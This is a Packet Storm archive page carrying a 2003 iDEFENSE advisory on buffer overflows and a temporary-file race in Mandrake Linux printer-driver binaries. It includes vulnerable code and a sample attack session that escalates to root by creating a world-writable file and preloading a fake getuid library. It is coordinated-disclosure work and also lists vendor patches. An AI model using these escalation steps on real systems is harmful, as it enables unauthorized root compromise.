Twenty Year Anniversary

iDEFENSE Security Advisory 2003-01-21.t

iDEFENSE Security Advisory 2003-01-21.t
Posted Jan 23, 2003
Authored by Karol Wiesek, iDefense Labs | Site

iDEFENSE Security Advisory 01.21.03: Buffer Overflows in Mandrake Linux printer-drivers Package. Three vulnerabilities exist, the worst of which allows local root compromise. Overflows in the mtink and escputil binaries, which are set group id sys, allow an attacker to gain sys group privileges. A race condition in the ml85p binary, which is set user id root, allows an attacker to create a file with super user privileges.

tags | advisory, overflow, local, root, vulnerability
systems | linux, mandrake
MD5 | fb32a4acc9576b038a89bcfa8ef7a947

iDEFENSE Security Advisory 2003-01-21.t

Change Mirror Download
Hash: SHA1

iDEFENSE Security Advisory 01.21.03: Buffer Overflows in Mandrake Linux
printer-drivers Package
January 21, 2003


MandrakeSoft Inc.'s Mandrake Linux includes the printer-drivers package in
most default installations. Specifically, the following three binaries are

mtink: a status monitor that tracks remaining ink quantity, printing of
test patterns, and changing and cleaning cartridges, etc. It is maintained
by Jean-Jacques Sarton (

escputil: a utility to clean and align the heads of Epson Stylus printers.
It also checks current ink levels in the printer. It is maintained by
Robert Krawitz ( and Mike Sweet.

ml85p: a Linux driver for Samsung ML-85G series printers. It is maintained
by Rildo Pragana (


Three vulnerabilities exist, the worst of which allows local root
compromise of a target system.

VULNERABILITY ONE: The mtink binary, installed set group id (gid) 'sys',
contains a buffer overflow in its handling of the HOME environment
variable. Successful exploitation provides an attacker with 'sys' group
privileges. The following snippet contains the offending segment of code:

void readRc(int idx)
FILE *fp;
char rcPath[1024];

VULNERABILITY TWO: The escputil binary, installed set gid 'sys',contains a
buffer overflow in its parsing of the printer-name command line argument.
Successful exploitation provides an attacker with 'sys' group privileges.

VULNERABILITY THREE: The ml85p binary, installed set user id root,
contains a race condition in its opening of temporary files. Successful
exploitation provides an attacker with the ability to create or empty a
file with super user privileges. The following snippet contains the
offending segment of code:

if (!(cbmf = fopen(gname,"w+"))) {

An attacker can easily guess the name of a temporary file and then link
the guessed file to a file at another location. If the other file does not
exist, it is created world-writeable; if it does exist, the contents of
the file are lost. ml85p is, by default, installed without execute
permissions for 'other':

$ ls -l /usr/bin/ml85p
- -rwsr-x--- 1 root sys 12344 Sep 17 12:40 /usr/bin/ml85p*

The binary, however, does provide execute permissions to the 'sys' group,
whose privileges can be gained using either of the two exploits in
VULNERABILITY ONE or TWO. Once 'sys' privileges are obtained, an attacker
can exploit this race condition.

The following example walks through a sample attack utilizing the
above-described methods:

$ id
uid=501(farmer) gid=501(farmer) groups=501(farmer)

$ ./escputil_ex
Usage : ./escputil_ex [offset]
Address : 0xbffff6b0
Escputil version 4.2.2, Copyright (C) 2000-2001 Robert Krawitz
Escputil comes with ABSOLUTELY NO WARRANTY; for details type 'escputil -l'
This is free software, and you are welcome to redistribute it
under certain conditions; type 'escputil -l' for details.
Cleaning heads...
lpr: unable to print file: client-error-not-found
/etc/profile.d/ parse error: condition expected: !=

$ id
uid=501(farmer) gid=501(farmer) egid=3(sys) groups=501(farmer)

$ ls -l /etc/
ls: /etc/ No such file or directory

$ ./ml85p_ex /etc/
Press a key to clean/create /etc/ file
Wrong file format.
file position: ffffffff

$ ls -l /etc/
- -rw-rw-rw- 1 root sys 0 Oct 21 09:09 /etc/

$ cat > /tmp/lib.c < heredoc> int getuid(void) { return 0; }
heredoc> EOF

$ gcc -fPIC -c /tmp/lib.c
$ gcc -o /tmp/ -shared /tmp/lib.o

$ echo "/tmp/" > /etc/

$ su -

# id
uid=0(root) gid=0(root) groups=0(root)


Any attacker with local access to a targeted system can launch this
attack. The ability to empty or create with root privileges any file on
the file system provides an attacker with many avenues of exploitation.
The above-described example is just one way of quickly gaining super user
privileges on a targeted system.


Mandrake Linux 9.0 is vulnerable. By default, it includes the following
versions of the printer-drivers package:



MandrakeSoft has identified the problems and applied author-provided fixes
to the escputil and mtink vulnerabilities. A patch written by Till
Kamppeter was applied to ml85p to fix that vulnerability. Updates are
provided for Mandrake Linux 8.1 through 9.0 for the printer-drivers
packages, and ghostscript in 8.0 to fix these vulnerabilities


10/06/2002 Issues disclosed to iDEFENSE
12/26/2002 Issues disclosed to,,, and
12/26/2002 Issues disclosed to iDEFENSE clients
12/26/2002 Vendor responses from,
12/30/2002 Response from Vincent Danen (
01/21/2003 Coordinated public disclosure


Karol Wiesek ( discovered these vulnerabilities.

Version: PGP 8.0


To stop receiving iDEFENSE Security Advisories, reply to this message and
put "unsubscribe" in the subject.


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2018 Packet Storm. All rights reserved.

Security Services
Hosting By